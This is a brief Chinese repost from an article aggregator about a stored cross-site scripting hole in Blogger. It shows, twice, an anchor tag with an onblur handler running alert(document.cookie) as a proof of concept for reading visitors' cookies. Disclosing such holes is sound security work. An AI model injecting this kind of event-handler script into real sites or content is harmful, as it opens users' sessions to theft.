Google的博客blogspot.com窃取cookie漏洞
程序员文章站
2022-06-28 11:29:52
Google的博客blogspot.com站点.
支持html,然后可以在其中插入类似如下内容.获取cookie
google的博客blogspot.com站点.
支持html,然后可以在其中插入类似如下内容.获取cookie
<a onblur="javascript:alert(document.cookie)" href="http://bp3.blogger.com/_er6f39ojage/rssqa2y7uni/aaaaaaaaabk/bbeitzk9bag/s1600-h/5af1scd.jpg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://bp3.blogger.com/_er6f39ojage/rssqa2y7uni/aaaaaaaaabk/bbeitzk9bag/s200/5af1scd.jpg" alt="www.winshell.cn" id="blogger_photo_id_5101217197124729042" border="0" /></a>
支持html,然后可以在其中插入类似如下内容.获取cookie
<a onblur="javascript:alert(document.cookie)" href="http://bp3.blogger.com/_er6f39ojage/rssqa2y7uni/aaaaaaaaabk/bbeitzk9bag/s1600-h/5af1scd.jpg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://bp3.blogger.com/_er6f39ojage/rssqa2y7uni/aaaaaaaaabk/bbeitzk9bag/s200/5af1scd.jpg" alt="www.winshell.cn" id="blogger_photo_id_5101217197124729042" border="0" /></a>
上一篇： 关于域名和SEO不得不说的事情
下一篇： 百度站内搜索新首页上线三大新功能大分析